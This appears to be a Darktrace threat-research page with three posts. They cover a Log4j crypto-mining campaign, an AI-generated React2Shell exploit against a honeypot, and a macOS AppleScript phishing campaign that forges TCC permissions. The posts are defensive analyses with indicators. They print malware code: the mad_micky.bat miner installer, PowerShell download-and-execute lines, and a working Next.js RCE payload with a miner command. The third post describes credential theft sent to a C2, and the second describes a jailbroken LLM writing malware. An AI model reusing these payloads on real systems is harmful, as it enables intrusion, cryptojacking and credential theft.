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April 3, 2022

Analyzing Log4j Vulnerability in Crypto Mining Attack

Discover how Darktrace detected a campaign-like pattern that used the Log4j vulnerability for crypto-mining across multiple customers.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Hanah Darley
Director of Threat Research
Written by
Steve Robinson
Principal Consultant for Threat Detection
Written by
Ross Ellis
Principal Cyber Analyst
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03
Apr 2022

Background on Log4j

On December 9 2021, the Alibaba Cloud Security Team publicly disclosed a critical vulnerability (CVE-2021-44228) enabling unauthenticated remote code execution against multiple versions of Apache Log4j2 (Log4Shell). Vulnerable servers can be exploited by attackers connecting via any protocol such as HTTPS and sending a specially crafted string.

Log4j crypto-mining campaign

Darktrace detected crypto-mining on multiple customer deployments which occurred as a result of exploiting this Log4j vulnerability. In each of these incidents, exploitation occurred via outbound SSL connections which appear to be requests for base64-encoded PowerShell scripts to bypass perimeter defenses and download batch (.bat) script files, and multiple executables that install crypto-mining malware. The activity had wider campaign indicators, including common hard-coded IPs, executable files, and scripts.

The attack cycle begins with what appears to be opportunistic scanning of Internet-connected devices looking for VMWare Horizons servers vulnerable to the Log4j exploit. Once a vulnerable server is found, the attacker makes HTTP and SSL connections to the victim. Following successful exploitation, the server performs a callback on port 1389, retrieving a script named mad_micky.bat. This achieves the following:

  • Disables Windows firewall by setting all profiles to state=off
    ‘netsh advfirewall set allprofiles state off’
  • Searches for existing processes that indicate other miner installs using ‘netstat -ano | findstr TCP’ to identify any process operating on ports :3333, :4444, :5555, :7777, :9000 and stop the processes running
  • A new webclient is initiated to silently download wxm.exe
  • Scheduled tasks are used to create persistence. The command ‘schtasks /create /F /sc minute /mo 1 /tn –‘ schedules a task and suppresses warnings, the task is to be scheduled within a minute of command and given the name, ‘BrowserUpdate’, pointing to malicious domain, ‘b.oracleservice[.]top’ and hard-coded IP’s: 198.23.214[.]117:8080 -o 51.79.175[.]139:8080 -o 167.114.114[.]169:8080
  • Registry keys are added in RunOnce for persistence: reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Run2 /d

In at least two cases, the mad_micky.bat script was retrieved in an HTTP connection which had the user agent Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0; MAARJS). This was the first and only time this user agent was seen on these networks. It appears this user agent is used legitimately by some ASUS devices with fresh factory installs; however, as a new user agent only seen during this activity it is suspicious.

Following successful exploitation, the server performs a callback on port 1389, to retrieve script files. In this example, /xms.ps1 a base-64 encoded PowerShell script that bypasses execution policy on the host to call for ‘mad_micky.bat’:

Figure 1: Additional insight on PowerShell script xms.ps1

The snapshot details the event log for an affected server and indicates successful Log4j RCE that resulted in the mad_micky.bat file download:

Figure 2: Log data highlighting mad_micky.bat file

Additional connections were initiated to retrieve executable files and scripts. The scripts contained two IP addresses located in Korea and Ukraine. A connection was made to the Ukrainian IP to download executable file xm.exe, which activates the miner. The miner, XMRig Miner (in this case) is an open source, cross-platform mining tool available for download from multiple public locations. The next observed exe download was for ‘wxm.exe’ (f0cf1d3d9ed23166ff6c1f3deece19b4).

Figure 3: Additional insight regarding XMRig executable

The connection to the Korean IP involved a request for another script (/2.ps1) as well as an executable file (LogBack.exe). This script deletes running tasks associated with logging, including SCM event log filter or PowerShell event log consumer. The script also requests a file from Pastebin, which is possibly a Cobalt Strike beacon configuration file. The log deletes were conducted through scheduled tasks and WMI included: Eventlogger, SCM Event Log Filter, DSM Event Log Consumer, PowerShell Event Log Consumer, Windows Events Consumer, BVTConsumer.

  • Config file (no longer hosted): IEX (New-Object System.Net.Webclient) DownloadString('hxxps://pastebin.com/raw/g93wWHkR')

The second file requested from Pastebin, though no longer hosted by Pastebin, is part of a schtasks command, and so probably used to establish persistence:

  • schtasks /create /sc MINUTE /mo 5 /tn  "\Microsoft\windows\.NET Framework\.NET Framework NGEN v4.0.30319 32" /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''hxxps://pastebin.com/raw/bcFqDdXx'''))'"  /F /ru System

The executable file Logback.exe is another XMRig mining tool. A config.json file was also downloaded from the same Korean IP. After this cmd.exe and wmic commands were used to configure the miner.

These file downloads and miner configuration were followed by additional connections to Pastebin.

Figure 4: OSINT correlation of mad_micky.bat file[1]

Process specifics — mad_micky.bat file

Install

set “STARTUP_DIR=%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup”
set “STARTUP_DIR=%USERPROFILE%\Start Menu\Programs\Startup”

looking for the following utilities: powershell, find, findstr, tasklist, sc
set “LOGFILE=%USERPROFILE%\mimu6\xmrig.log”
if %EXP_MONER_HASHRATE% gtr 8192 ( set PORT=18192 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 4096 ( set PORT=14906 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 2048 ( set PORT=12048 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 1024 ( set PORT=11024 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 512 ( set PORT=10512 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 256 ( set PORT=10256 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 128 ( set PORT=10128 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 64 ( set PORT=10064 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 32 ( set PORT=10032 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 16 ( set PORT=10016 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 8 ( set PORT=10008 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 4 ( set PORT=10004 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 2 ( set PORT=10002 & goto PORT_OK)
set port=10001

Preparing miner

echo [*] Removing previous mimu miner (if any)
sc stop gado_miner
sc delete gado_miner
taskkill /f /t /im xmrig.exe
taskkill /f /t/im logback.exe
taskkill /f /t /im network02.exe
:REMOVE_DIR0
echo [*] Removing “%USERPROFILE%\mimu6” directory
timeout 5
rmdir /q /s “USERPROFILE%\mimu6” >NUL 2>NUL
IF EXIST “%USERPROFILE%\mimu6” GOTO REMOVE_DIR0

Download of XMRIG

echo [*] Downloading MoneroOcean advanced version of XMRig to “%USERPROFILE%\xmrig.zip”
powershell -Command “$wc = New-Object System.Net.WebClient; $wc.DownloadFile(‘http://141.85.161[.]18/xmrig.zip’, ;%USERPROFILE%\xmrig.zip’)”
echo copying to mimu directory
if errorlevel 1 (
echo ERROR: Can’t download MoneroOcean advanced version of xmrig
goto MINER_BAD)

Unpack and install

echo [*] Unpacking “%USERPROFILE%\xmrig.zip” to “%USERPROFILE%\mimu6”
powershell -Command “Add-type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory(‘%USERPROFILE%\xmrig.zip’, ‘%USERPROFILE%\mimu6’)”
if errorlevel 1 (
echo [*] Downloading 7za.exe to “%USERPROFILE%\7za.exe”
powershell -Command “$wc = New-Object System.Net.WebClient; $wc.Downloadfile(‘http://141.85.161[.]18/7za.txt’, ‘%USERPROFILE%\7za.exe’”

powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”url\”: *\”.*\”,’, ‘\”url\”: \”207.38.87[.]6:3333\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”user\”: *\”.*\”,’, ‘\”user\”: \”%PASS%\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”pass\”: *\”.*\”,’, ‘\”pass\”: \”%PASS%\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”max-cpu-usage\”: *\d*,’, ‘\”max-cpu-usage\”: 100,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
set LOGFILE2=%LOGFILE:\=\\%
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”log-file\”: *null,’, ‘\”log-file\”: \”%LOGFILE2%\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
if %ADMIN% == 1 goto ADMIN_MINER_SETUP

if exist “%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup” (
set “STARTUP_DIR=%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup”
goto STARTUP_DIR_OK
)
if exist “%USERPROFILE%\Start Menu\Programs\Startup” (
set “STARTUP_DIR=%USERPROFILE%\Start Menu\Programs\Startup”
goto STARTUP_DIR_OK
)
echo [*] Downloading tools to make gado_miner service to “%USERPROFILE%\nssm.zip”
powershell -Command “$wc = New-Object System.Net.WebClient; $wc.DownloadFile(‘[http://141.85.161[.]18/nssm.zip’, ‘%USERPROFILE%\nssm.zip’)”
if errorlevel 1 (
echo ERROR: Can’t download tools to make gado_miner service
exit /b 1

Detecting the campaign using Darktrace

The key model breaches Darktrace used to identify this campaign include compromise-focussed models for Application Protocol on Uncommon Port, Outgoing Connection to Rare From Server, and Beaconing to Rare Destination. File-focussed models for Masqueraded File Transfer, Multiple Executable Files and Scripts from Rare Locations, and Compressed Content from Rare External Location. Cryptocurrency mining is detected under the Cryptocurrency Mining Activity models.

The models associated with Unusual PowerShell to Rare and New User Agent highlight the anomalous connections on the infected devices following the Log4j callbacks.

Customers with Darktrace’s Autonomous Response technology, Antigena, also had actions to block the incoming files and scripts downloaded and restrict the infected devices to normal pattern of life to prevent both the initial malicious file downloads and the ongoing crypto-mining activity.

Appendix

Darktrace model detections

  • Anomalous Connection / Application Protocol on Uncommon Port
  • Anomalous Connection / New User Agent to IP Without Hostname
  • Anomalous Connection / PowerShell to Rare External
  • Anomalous File / EXE from Rare External location
  • Anomalous File / Masqueraded File Transfer
  • Anomalous File / Multiple EXE from Rare External Locations
  • Anomalous File / Script from Rare External Location
  • Anomalous File / Zip or Gzip from Rare External Location
  • Anomalous Server Activity / Outgoing from Server
  • Compliance / Crypto Currency Mining Activity
  • Compromise / Agent Beacon (Long Period)
  • Compromise / Agent Beacon (Medium Period)
  • Compromise / Agent Beacon (Short Period)
  • Compromise / Beacon to Young Endpoint
  • Compromise / Beaconing Activity To External Rare
  • Compromise / Crypto Currency Mining Activity
  • Compromise / Sustained TCP Beaconing Activity To Rare Endpoint
  • Device / New PowerShell User Agent
  • Device / Suspicious Domain

MITRE ATT&CK techniques observed

IoCs

For Darktrace customers who want to find out more about Log4j detection, refer here for an exclusive supplement to this blog.

Footnotes

1. https://www.virustotal.com/gui/file/9e3f065ac23a99a11037259a871f7166ae381a25eb3f724dcb034225a188536d

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Hanah Darley
Director of Threat Research
Written by
Steve Robinson
Principal Consultant for Threat Detection
Written by
Ross Ellis
Principal Cyber Analyst

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February 10, 2026

AI/LLM-Generated Malware Used to Exploit React2Shell

AI/LLM-Generated Malware Used to Exploit React2ShellDefault blog imageDefault blog image

Introduction

To observe adversary behavior in real time, Darktrace operates a global honeypot network known as “CloudyPots”, designed to capture malicious activity across a wide range of services, protocols, and cloud platforms. These honeypots provide valuable insights into the techniques, tools, and malware actively targeting internet‑facing infrastructure.

A recently observed intrusion against Darktrace’s Cloudypots environment revealed a fully AI‑generated malware sample exploiting CVE-2025-55182, also known as React2Shell. As AI‑assisted software development (“vibecoding”) becomes more widespread, attackers are increasingly leveraging large language models to rapidly produce functional tooling. This incident illustrates a broader shift: AI is now enabling even low-skill operators to generate effective exploitation frameworks at speed. This blog examines the attack chain, analyzes the AI-generated payload, and outlines what this evolution means for defenders.

Initial access

The intrusion was observed against the Darktrace Docker honeypot, which intentionally exposes the Docker daemon internet-facing with no authentication. This configuration allows any attacker to discover the daemon and create a container via the Docker API.

The attacker was observed spawning a container named “python-metrics-collector”, configured with a start up command that first installed prerequisite tools including curl, wget, and python 3.

Container spawned with the name ‘python-metrics-collector’.
Figure 1: Container spawned with the name ‘python-metrics-collector’.

Subsequently, it will download a list of required python packages from

  • hxxps://pastebin[.]com/raw/Cce6tjHM,

Finally it will download and run a python script from:

  • hxxps://smplu[.]link/dockerzero.

This link redirects to a GitHub Gist hosted by user “hackedyoulol”, who has since been banned from GitHub at time of writing.

  • hxxps://gist.githubusercontent[.]com/hackedyoulol/141b28863cf639c0a0dd563344101f24/raw/07ddc6bb5edac4e9fe5be96e7ab60eda0f9376c3/gistfile1.txt

Notably the script did not contain a docker spreader – unusual for Docker-focused malware – indicating that propagation was likely handled separately from a centralized spreader server.

Deployed components and execution chain

The downloaded Python payload was the central execution component for the intrusion. Obfuscation by design within the sample was reinforced between the exploitation script and any spreading mechanism. Understanding that docker malware samples typically include their own spreader logic, the omission suggests that the attacker maintained and executed a dedicated spreading tool remotely.

The script begins with a multi-line comment:
"""
   Network Scanner with Exploitation Framework
   Educational/Research Purpose Only
   Docker-compatible: No external dependencies except requests
"""

This is very telling, as the overwhelming majority of samples analysed do not feature this level of commentary in files, as they are often designed to be intentionally difficult to understand to hinder analysis. Quick scripts written by human operators generally prioritize speed and functionality over clarity. LLMs on the other hand will document all code with comments very thoroughly by design, a pattern we see repeated throughout the sample.  Further, AI will refuse to generate malware as part of its safeguards.

The presence of the phrase “Educational/Research Purpose Only” additionally suggests that the attacker likely jailbroke an AI model by framing the malicious request as educational.

When portions of the script were tested in AI‑detection software, the output further indicated that the code was likely generated by a large language model.

GPTZero AI-detection results indicating that the script was likely generated using an AI model.
Figure 2: GPTZero AI-detection results indicating that the script was likely generated using an AI model.

The script is a well constructed React2Shell exploitation toolkit, which aims to gain remote code execution and deploy a XMRig (Monero) crypto miner. It uses an IP‑generation loop to identify potential targets and executes a crafted exploitation request containing:

  • A deliberately structured Next.js server component payload
  • A chunk designed to force an exception and reveal command output
  • A child process invocation to run arbitrary shell commands

    def execute_rce_command(base_url, command, timeout=120):  
    """ ACTUAL EXPLOIT METHOD - Next.js React Server Component RCE
    DO NOT MODIFY THIS FUNCTION
    Returns: (success, output)  
    """  
    try: # Disable SSL warnings     urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

 crafted_chunk = {
      "then": "$1:__proto__:then",
      "status": "resolved_model",
      "reason": -1,
      "value": '{"then": "$B0"}',
      "_response": {
          "_prefix": f"var res = process.mainModule.require('child_process').execSync('{command}', {{encoding: 'utf8', maxBuffer: 50 * 1024 * 1024, stdio: ['pipe', 'pipe', 'pipe']}}).toString(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
          "_formData": {
              "get": "$1:constructor:constructor",
          },
      },
  }

  files = {
      "0": (None, json.dumps(crafted_chunk)),
      "1": (None, '"$@0"'),
  }

  headers = {"Next-Action": "x"}

  res = requests.post(base_url, files=files, headers=headers, timeout=timeout, verify=False)

This function is initially invoked with ‘whoami’ to determine if the host is vulnerable, before using wget to download XMRig from its GitHub repository and invoking it with a configured mining pool and wallet address.

]\

WALLET = "45FizYc8eAcMAQetBjVCyeAs8M2ausJpUMLRGCGgLPEuJohTKeamMk6jVFRpX4x2MXHrJxwFdm3iPDufdSRv2agC5XjykhA"
XMRIG_VERSION = "6.21.0"
POOL_PORT_443 = "pool.supportxmr.com:443"
...
print_colored(f"[EXPLOIT] Starting miner on {identifier} (port 443)...", 'cyan')  
miner_cmd = f"nohup xmrig-{XMRIG_VERSION}/xmrig -o {POOL_PORT_443} -u {WALLET} -p {worker_name} --tls -B >/dev/null 2>&1 &"

success, _ = execute_rce_command(base_url, miner_cmd, timeout=10)

Many attackers do not realise that while Monero uses an opaque blockchain (so transactions cannot be traced and wallet balances cannot be viewed), mining pools such as supportxmr will publish statistics for each wallet address that are publicly available. This makes it trivial to track the success of the campaign and the earnings of the attacker.

 The supportxmr mining pool overview for the attackers wallet address
Figure 3: The supportxmr mining pool overview for the attackers wallet address

Based on this information we can determine the attacker has made approx 0.015 XMR total since the beginning of this campaign, which as of writing is valued at £5. Per day, the attacker is generating 0.004 XMR, which is £1.33 as of writing. The worker count is 91, meaning that 91 hosts have been infected by this sample.

Conclusion

While the amount of money generated by the attacker in this case is relatively low, and cryptomining is far from a new technique, this campaign is proof that AI based LLMs have made cybercrime more accessible than ever. A single prompting session with a model was sufficient for this attacker to generate a functioning exploit framework and compromise more than ninety hosts, demonstrating that the operational value of AI for adversaries should not be underestimated.

CISOs and SOC leaders should treat this event as a preview of the near future. Threat actors can now generate custom malware on demand, modify exploits instantly, and automate every stage of compromise. Defenders must prioritize rapid patching, continuous attack surface monitoring, and behavioral detection approaches. AI‑generated malware is no longer theoretical — it is operational, scalable, and accessible to anyone.

Analyst commentary

It is worth noting that the downloaded script does not appear to include a Docker spreader, meaning the malware will not replicate to other victims from an infected host. This is uncommon for Docker malware, based on other samples analyzed by Darktrace researchers. This indicates that there is a separate script responsible for spreading, likely deployed by the attacker from a central spreader server. This theory is supported by the fact that the IP that initiated the connection, 49[.]36.33.11, is registered to a residential ISP in India. While it is possible the attacker is using a residential proxy server to cover their tracks, it is also plausible that they are running the spreading script from their home computer. However, this should not be taken as confirmed attribution.

Credit to Nathaniel Bill (Malware Research Engineer), Nathaniel Jones ( VP Threat Research | Field CISO AI Security)

Edited by Ryan Traill (Analyst Content Lead)

Indicators of Compromise (IoCs)

Spreader IP - 49[.]36.33.11
Malware host domain - smplu[.]link
Hash - 594ba70692730a7086ca0ce21ef37ebfc0fd1b0920e72ae23eff00935c48f15b
Hash 2 - d57dda6d9f9ab459ef5cc5105551f5c2061979f082e0c662f68e8c4c343d667d

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About the author
Nathaniel Bill
Malware Research Engineer

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February 9, 2026

AppleScript Abuse: Unpacking a macOS Phishing Campaign

AppleScript Abuse: Unpacking a macOS Phishing CampaignDefault blog imageDefault blog image

Introduction

Darktrace security researchers have identified a campaign targeting macOS users through a multistage malware campaign that leverages social engineering and attempted abuse of the macOS Transparency, Consent and Control (TCC) privacy feature.

The malware establishes persistence via LaunchAgents and deploys a modular Node.js loader capable of executing binaries delivered from a remote command-and-control (C2) server.

Due to increased built-in security mechanisms in macOS such as System Integrity Protection (SIP) and Gatekeeper, threat actors increasingly rely on alternative techniques, including fake software and ClickFix attacks [1] [2]. As a result, macOS threats r[NJ1] ely more heavily on social engineering instead of vulnerability exploitation to deliver payloads, a trend Darktrace has observed across the threat landscape [3].

Technical analysis

The infection chain starts with a phishing email that prompts the user to download an AppleScript file named “Confirmation_Token_Vesting.docx.scpt”, which attemps to masquerade as a legitimate Microsoft document.

The AppleScript header prompting execution of the script.
Figure 1: The AppleScript header prompting execution of the script.

Once the user opens the AppleScript file, they are presented with a prompt instructing them to run the script, supposedly due to “compatibility issues”. This prompt is necessary as AppleScript requires user interaction to execute the script, preventing it from running automatically. To further conceal its intent, the malicious part of the script is buried below many empty lines, assuming a user likely will not to the end of the file where the malicious code is placed.

Curl request to receive the next stage.
Figure 2: Curl request to receive the next stage.

This part of the script builds a silent curl request to “sevrrhst[.]com”, sending the user’s macOS operating system, CPU type and language. This request retrieves another script, which is saved as a hidden file at in ~/.ex.scpt, executed, and then deleted.

The retrieved payload is another AppleScript designed to steal credentials and retrieve additional payloads. It begins by loading the AppKit framework, which enables the script to create a fake dialog box prompting the user to enter their system username and password [4].

 Fake dialog prompt for system password.
Figure 3: Fake dialog prompt for system password.

The script then validates the username and password using the command "dscl /Search -authonly <username> <password>", all while displaying a fake progress bar to the user. If validation fails, the dialog window shakes suggesting an incorrect password and prompting the user to try again. The username and password are then encoded in Base64 and sent to: https://sevrrhst[.]com/css/controller.php?req=contact&ac=<user>&qd=<pass>.

Figure 4: Requirements gathered on trusted binary.

Within the getCSReq() function, the script chooses from trusted Mac applications: Finder, Terminal, Script Editor, osascript, and bash. Using the codesign command codesign -d --requirements, it extracts the designated code-signing requirement from the target application. If a valid requirement cannot be retrieved, that binary is skipped. Once a designated requirement is gathered, it is then compiled into a binary trust object using the Code Signing Requirement command (csreq). This trust object is then converted into hex so it can later be injected into the TCC SQLite database.[NB2]

To bypass integrity checks, the TCC directory is renamed to com.appled.tcc using Finder. TCC is a macOS privacy framework designed to restrict application access to sensitive data, requiring users to explicitly grant permissions before apps can access items such as files, contacts, and system resources [1].

Example of how users interact with TCC.
Figure 5: TCC directory renamed to com.appled.TCC.
Figure 6: Example of how users interact with TCC.

After the database directory rename is attempted, the killall command is used on the tccd daemon to force macOS to release the lock on the database. The database is then injected with the forged access records, including the service, trusted binary path, auth_value, and the forged csreq binary. The directory is renamed back to com.apple.TCC, allowing the injected entries to be read and the permissions to be accepted. This enables persistence authorization for:

  • Full disk access
  • Screen recording
  • Accessibility
  • Camera
  • Apple Events 
  • Input monitoring

The malware does not grant permissions to itself; instead, it forges TCC authorizations for trusted Apple-signed binaries (Terminal, osascript, Script Editor, and bash) and then executes malicious actions through these binaries to inherit their permissions.

Although the malware is attempting to manipulate TCC state via Finder, a trusted system component, Apple has introduced updates in recent macOS versions that move much of the authorization enforcement into the tccd daemon. These updates prevent unauthorized permission modifications through directory or database manipulation. As a result, the script may still succeed on some older operating systems, but it is likely to fail on newer installations, as tcc.db reloads now have more integrity checks and will fail on Mobile Device Management (MDM) [NB5] systems as their profiles override TCC.

 Snippet of decoded Base64 response.
Figure 7: Snippet of decoded Base64 response.

A request is made to the C2, which retrieves and executes a Base64-encoded script. This script retrieves additional payloads based on the system architecture and stores them inside a directory it creates named ~/.nodes. A series of requests are then made to sevrrhst[.]com for:

/controller.php?req=instd

/controller.php?req=tell

/controller.php?req=skip

These return a node archive, bundled Node.js binary, and a JavaScript payload. The JavaScript file, index.js, is a loader that profiles the system and sends the data to the C2. The script identified the system platform, whether macOS, Linux or Windows, and then gathers OS version, CPU details, memory usage, disk layout, network interfaces, and running process. This is sent to https://sevrrhst[.]com/inc/register.php?req=init as a JSON object. The victim system is then registered with the C2 and will receive a Base64-encoded response.

LaunchAgent patterns to be replaced with victim information.
Figure 8: LaunchAgent patterns to be replaced with victim information.

The Base64-encoded response decodes to an additional Javacript that is used to set up persistence. The script creates a folder named com.apple.commonjs in ~/Library and copies the Node dependencies into this directory. From the C2, the files package.json and default.js are retrieved and placed into the com.apple.commonjs folder. A LaunchAgent .plist is also downloaded into the LaunchAgents directory to ensure the malware automatically starts. The .plist launches node and default.js on load, and uses output logging to log errors and outputs.

Default.js is Base64 encoded JavaScript that functions as a command loop, periodically sending logs to the C2, and checking for new payloads to execute. This gives threat actors ongoing and the ability to dynamically modify behavior without having to redeploy the malware. A further Base64-encoded JavaScript file is downloaded as addon.js.

Addon.js is used as the final payload loader, retrieving a Base64-encoded binary from https://sevrrhst[.]com/inc/register.php?req=next. The binary is decoded from Base64 and written to disk as “node_addon”, and executed silently in the background. At the time of analysis, the C2 did not return a binary, possibly because certain conditions were not met.  However, this mechanism enables the delivery and execution of payloads. If the initial TCC abuse were successful, this payload could access protected resources such as Screen Capture and Camera without triggering a consent prompt, due to the previously established trust.

Conclusion

This campaign shows how a malicious threat actor can use an AppleScript loader to exploit user trust and manipulate TCC authorization mechanisms, achieving persistent access to a target network without exploiting vulnerabilities.

Although recent macOS versions include safeguards against this type of TCC abuse, users should keep their systems fully updated to ensure the most up to date protections.  These findings also highlight the intentions of threat actors when developing malware, even when their implementation is imperfect.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Indicators of Compromise (IoCs)

88.119.171[.]59

sevrrhst[.]com

https://sevrrhst[.]com/inc/register.php?req=next

https://stomcs[.]com/inc/register.php?req=next
https://techcross-es[.]com

Confirmation_Token_Vesting.docx.scpt - d3539d71a12fe640f3af8d6fb4c680fd

EDD_Questionnaire_Individual_Blank_Form.docx.scpt - 94b7392133935d2034b8169b9ce50764

Investor Profile (Japan-based) - Shiro Arai.pdf.scpt - 319d905b83bf9856b84340493c828a0c

MITRE ATTACK

T1566 - Phishing

T1059.002 - Command and Scripting Interpreter: Applescript

T1059.004 – Command and Scripting Interpreter: Unix Shell

T1059.007 – Command and Scripting Interpreter: JavaScript

T1222.002 – File and Directory Permissions Modification

T1036.005 – Masquerading: Match Legitimate Name or Location

T1140 – Deobfuscate/Decode Files or Information

T1547.001 – Boot or Logon Autostart Execution: Launch Agent

T1553.006 – Subvert Trust Controls: Code Signing Policy Modification

T1082 – System Information Discovery

T1057 – Process Discovery

T1105 – Ingress Tool Transfer

References

[1] https://www.darktrace.com/blog/from-the-depths-analyzing-the-cthulhu-stealer-malware-for-macos

[2] https://www.darktrace.com/blog/unpacking-clickfix-darktraces-detection-of-a-prolific-social-engineering-tactic

[3] https://www.darktrace.com/blog/crypto-wallets-continue-to-be-drained-in-elaborate-social-media-scam

[4] https://developer.apple.com/documentation/appkit

[5] https://www.huntress.com/blog/full-transparency-controlling-apples-tcc

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About the author
Tara Gould
Malware Research Lead
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